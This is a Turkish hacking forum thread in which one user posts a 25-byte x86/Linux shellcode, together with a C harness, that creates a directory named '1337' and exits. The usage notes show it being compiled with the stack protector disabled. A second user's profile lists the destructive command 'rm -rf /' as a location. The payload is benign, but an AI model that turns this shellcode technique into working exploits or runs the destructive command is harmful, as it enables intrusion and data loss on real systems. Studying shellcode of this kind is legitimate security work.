İPUCU

Bug Researchers Yeni bulunan açıklar.

Seçenekler

x86/Linux mkdir("1337", 0755) & exit(0) Shellcode

15-08-2016 22:12
#1
22a02 - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
07/2016
Nereden:
Assembly
Mesajlar:
10
Teşekkür (Etti):
0
Teşekkür (Aldı):
3
Konular:
10
#Gecmise Donus \w xd3.
(Son 1)




Kod:
/*
 *             ::mkdir("1337", 0755) & exit(0) Shellcode
 *   __author__: xd3
 *     __date__: 15/11/4
 *   __format__: ELF 32 Bit
 * __platform__: x86/Linux
 *     __size__: 25 Bytes
 *    
 */
 
 /* Usage:
  * 
  * $ sudo gcc -fno-stack-protector -z execstack xd3.c -o xd3
  * $ ./xd3
  * [~] Byte-Code Len: 25
  *    [+] Directory Created.
  * $ ./check.sh 1337
  * Output: 1
  * $
  */

#include <stdio.h>
#include <string.h>
#define CHVAL "\xff\x01" //Little Endian & Octal -> Hex

const unsigned char xd3[] = \
"\x6a\x27\x58\x99"
"\x52\x68\x31\x33"
"\x33\x37\x89\xe3"
"\x66\xb9" CHVAL
"\xcd\x80\x6a\x01"
"\x58\x89\xd3\xcd"
"\x80";


int main(){ 
    printf("[~] Byte-Code Len: %d\n[+] Directory Created.\n", strlen(xd3));
    int (*sh3llc0de)();
    sh3llc0de = (int (*)()) xd3;
    (int)(*sh3llc0de)();
}
Hacknology Teşekkür etti.

15-08-2016 22:16
#2
Hacknology - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
10/2015
Nereden:
rm -rf /
Mesajlar:
2.709
Teşekkür (Etti):
946
Teşekkür (Aldı):
1227
Konular:
151
Teşekkür ederim. her zamanki gibi güzel
Kullanıcı İmzası
I surrender my soul
Odin hear my call

flag{Bur4si_b1r_0yun_park1}

hacknology@hacknologyroot:~/

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı